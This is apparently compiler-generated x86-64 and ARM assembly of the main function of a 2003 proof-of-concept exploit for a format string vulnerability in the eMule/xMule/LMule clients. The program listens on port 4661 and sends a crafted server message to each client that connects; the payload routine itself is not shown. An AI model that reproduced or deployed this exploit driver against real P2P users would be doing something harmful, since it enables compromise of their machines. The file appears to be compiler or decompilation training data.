	.file	"extr_90.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"4661"
.LC1:
	.string	"any"
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC2:
	.string	"eMule/xMule/LMule OP_SERVERMESSAGE Format String Vulnerabilitytion Vulnerability\nproof of concept code\nCopyright (C) 2003 R\303\251mi Denis-Courmont <exploit@simutrans.fr.st>\n"
	.section	.rodata.str1.1
.LC3:
	.string	"Binding to [%s]:%s ...\n"
	.section	.rodata.str1.8
	.align 8
.LC4:
	.string	"Waiting for a client to connect ... "
	.section	.rodata.str1.1
.LC5:
	.string	""
.LC6:
	.string	"Error"
.LC7:
	.string	"OK"
.LC8:
	.string	"Sending server message ... "
.LC9:
	.string	"Done"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r13
	.cfi_def_cfa_offset 16
	.cfi_offset 13, -16
	push	r12
	.cfi_def_cfa_offset 24
	.cfi_offset 12, -24
	mov	r12d, edi
	lea	rdi, .LC2[rip]
	push	rbp
	.cfi_def_cfa_offset 32
	.cfi_offset 6, -32
	push	rbx
	.cfi_def_cfa_offset 40
	.cfi_offset 3, -40
	mov	rbx, rsi
	sub	rsp, 8
	.cfi_def_cfa_offset 48
	call	puts@PLT
	cmp	r12d, 3
	jg	.L19
	lea	r13, .LC0[rip]
	cmp	r12d, 1
	jle	.L3
	mov	r13, QWORD PTR 16[rbx]
.L3:
	xor	ebp, ebp
	lea	rsi, .LC1[rip]
	cmp	r12d, 3
	jne	.L4
	mov	rbp, QWORD PTR 24[rbx]
	test	rbp, rbp
	cmovne	rsi, rbp
.L4:
	mov	rdx, r13
	lea	rdi, .LC3[rip]
	call	printf@PLT
	mov	rsi, r13
	mov	rdi, rbp
	lea	r12, .LC4[rip]
	call	socket_listen@PLT
	mov	ebx, eax
	cmp	eax, -1
	je	.L16
	.p2align 4,,10
	.p2align 3
.L5:
	mov	esi, DWORD PTR stdout[rip]
	mov	rdi, r12
	call	fputs@PLT
	xor	edx, edx
	xor	esi, esi
	mov	edi, ebx
	call	accept@PLT
	mov	ebp, eax
	cmp	eax, -1
	jne	.L7
	lea	rdi, .LC5[rip]
	call	puts@PLT
	lea	rdi, .LC6[rip]
	call	perror@PLT
	jmp	.L5
	.p2align 4,,10
	.p2align 3
.L7:
	lea	rdi, .LC7[rip]
	call	puts@PLT
	mov	esi, DWORD PTR stdout[rip]
	lea	rdi, .LC8[rip]
	call	fputs@PLT
	mov	edi, ebp
	call	send_server_message@PLT
	test	rax, rax
	je	.L9
	lea	rdi, .LC5[rip]
	call	puts@PLT
	lea	rdi, .LC6[rip]
	call	perror@PLT
.L10:
	mov	edi, ebp
	call	close@PLT
	jmp	.L5
	.p2align 4,,10
	.p2align 3
.L9:
	lea	rdi, .LC9[rip]
	call	puts@PLT
	jmp	.L10
.L19:
	mov	rdi, QWORD PTR [rbx]
	pop	rcx
	.cfi_remember_state
	.cfi_def_cfa_offset 40
	pop	rbx
	.cfi_def_cfa_offset 32
	pop	rbp
	.cfi_def_cfa_offset 24
	pop	r12
	.cfi_def_cfa_offset 16
	pop	r13
	.cfi_def_cfa_offset 8
	jmp	usage@PLT
.L16:
	.cfi_restore_state
	mov	rdi, rbp
	call	gai_perror@PLT
	pop	rdx
	.cfi_def_cfa_offset 40
	mov	eax, 1
	pop	rbx
	.cfi_def_cfa_offset 32
	pop	rbp
	.cfi_def_cfa_offset 24
	pop	r12
	.cfi_def_cfa_offset 16
	pop	r13
	.cfi_def_cfa_offset 8
	ret
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	stdout,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_90.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"4661\000"
	.align	2
.LC1:
	.ascii	"any\000"
	.align	2
.LC2:
	.ascii	"eMule/xMule/LMule OP_SERVERMESSAGE Format String Vu"
	.ascii	"lnerabilitytion Vulnerability\012proof of concept c"
	.ascii	"ode\012Copyright (C) 2003 R\303\251mi Denis-Courmon"
	.ascii	"t <exploit@simutrans.fr.st>\012\000"
	.align	2
.LC3:
	.ascii	"Binding to [%s]:%s ...\012\000"
	.align	2
.LC4:
	.ascii	"Waiting for a client to connect ... \000"
	.align	2
.LC5:
	.ascii	"\000"
	.align	2
.LC6:
	.ascii	"Error\000"
	.align	2
.LC7:
	.ascii	"OK\000"
	.align	2
.LC8:
	.ascii	"Sending server message ... \000"
	.align	2
.LC9:
	.ascii	"Done\000"
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r3, r4, r5, r6, r7, r8, r9, r10, fp, lr}
	mov	r5, r0
	ldr	r0, .L20
	mov	r4, r1
	bl	puts
	cmp	r5, #3
	bgt	.L19
	cmp	r5, #1
	ldrgt	r6, [r4, #8]
	ldrle	r6, .L20+4
	cmp	r5, #3
	movne	r4, #0
	ldrne	r1, .L20+8
	bne	.L4
	ldr	r4, [r4, #12]
	ldr	r1, .L20+8
	cmp	r4, #0
	movne	r1, r4
.L4:
	mov	r2, r6
	ldr	r0, .L20+12
	bl	printf
	mov	r1, r6
	mov	r0, r4
	bl	socket_listen
	cmn	r0, #1
	mov	r5, r0
	beq	.L15
	ldr	r4, .L20+16
	ldr	r6, .L20+20
	ldr	r10, .L20+24
	ldr	r9, .L20+28
	ldr	r8, .L20+32
	ldr	r7, .L20+36
.L5:
	ldr	r1, [r4]
	mov	r0, r6
	bl	fputs
	mov	r2, #0
	mov	r0, r5
	mov	r1, r2
	bl	accept
	cmn	r0, #1
	mov	fp, r0
	bne	.L7
	mov	r0, r8
	bl	puts
	mov	r0, r7
	bl	perror
	b	.L5
.L7:
	mov	r0, r10
	bl	puts
	ldr	r1, [r4]
	mov	r0, r9
	bl	fputs
	mov	r0, fp
	bl	send_server_message
	cmp	r0, #0
	beq	.L9
	mov	r0, r8
	bl	puts
	mov	r0, r7
	bl	perror
.L10:
	mov	r0, fp
	bl	close
	b	.L5
.L9:
	ldr	r0, .L20+40
	bl	puts
	b	.L10
.L19:
	ldr	r0, [r4]
	pop	{r3, r4, r5, r6, r7, r8, r9, r10, fp, lr}
	b	usage
.L15:
	mov	r0, r4
	bl	gai_perror
	mov	r0, #1
	pop	{r3, r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L21:
	.align	2
.L20:
	.word	.LC2
	.word	.LC0
	.word	.LC1
	.word	.LC3
	.word	stdout
	.word	.LC4
	.word	.LC7
	.word	.LC8
	.word	.LC5
	.word	.LC6
	.word	.LC9
	.size	main, .-main
	.comm	stdout,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
